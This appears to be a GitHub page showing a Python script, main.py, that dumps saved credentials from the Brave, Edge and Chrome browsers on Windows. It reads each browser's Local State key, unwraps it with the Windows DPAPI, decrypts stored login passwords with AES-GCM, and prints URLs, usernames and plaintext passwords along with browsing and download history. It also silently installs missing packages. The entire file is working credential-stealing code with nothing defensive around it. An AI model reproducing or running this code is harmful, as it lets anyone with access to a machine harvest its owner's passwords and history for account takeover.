-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
94 lines (81 loc) · 3.03 KB
/
Copy pathmain.py
File metadata and controls
94 lines (81 loc) · 3.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import base64
import json
import os
import shutil
import sqlite3
import sys
import subprocess
try:
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
except:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'pycryptodome'])
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'pypiwin32'])
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
appdata_folder = os.getenv('LOCALAPPDATA')
browsers = {
'brave': appdata_folder + '\\BraveSoftware\\Brave-Browser\\User Data',
'microsoft-edge': appdata_folder + '\\Microsoft\\Edge\\User Data',
'google-chrome': appdata_folder + '\\Google\\Chrome\\User Data'
}
def getBrowserMasterKey(path: str):
with open(path + "\\Local State", "r", encoding="utf-8") as f:
c = f.read()
if not ('os_crypt' in c):
return
local_state = json.loads(c)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
key = CryptUnprotectData(key, None, None, None, 0)[1]
return key
def getInstalledBrowsers():
installed_browners = []
for b in browsers:
if os.path.exists(browsers[b]):
installed_browners.append(b)
return installed_browners
def decryptData(encrypted_data: bytes, key: bytes):
iv = encrypted_data[3:15]
payload = encrypted_data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def getData(path: str, key, db_filename: str, query: str, profile: str = "Default", is_encrypt: bool = True):
db_file_path = path + "\\" + profile + "\\" + db_filename
if not os.path.exists(db_file_path):
return
# Copy to avoid the database locked error
shutil.copy(db_file_path, 'temp_db')
conn = sqlite3.connect('temp_db')
cursor = conn.cursor()
cursor.execute(query)
result = []
for row in cursor.fetchall():
row = list(row)
if is_encrypt:
for i in range(len(row)):
data = row[i]
# Check if data is in bytes type
if isinstance(data, bytes):
row[i] = decryptData(data, key)
# Print only for unempty row
for x in row:
if len(x) > 0:
print(row)
result.append(row)
break
conn.close()
os.remove('temp_db')
return result
if __name__ == '__main__':
installed_browsers = getInstalledBrowsers()
for b in installed_browsers:
master_key = getBrowserMasterKey(browsers[b])
print(b + " Passwords:")
getData(browsers[b], master_key, "Login Data", 'SELECT action_url, username_value, password_value FROM logins')
print(b + " History:")
getData(browsers[b], master_key, "History", 'SELECT url, title, last_visit_time FROM urls', is_encrypt=False)
print(b + "Download")
getData(browsers[b], master_key, "History", 'SELECT tab_url, target_path FROM downloads', is_encrypt=False)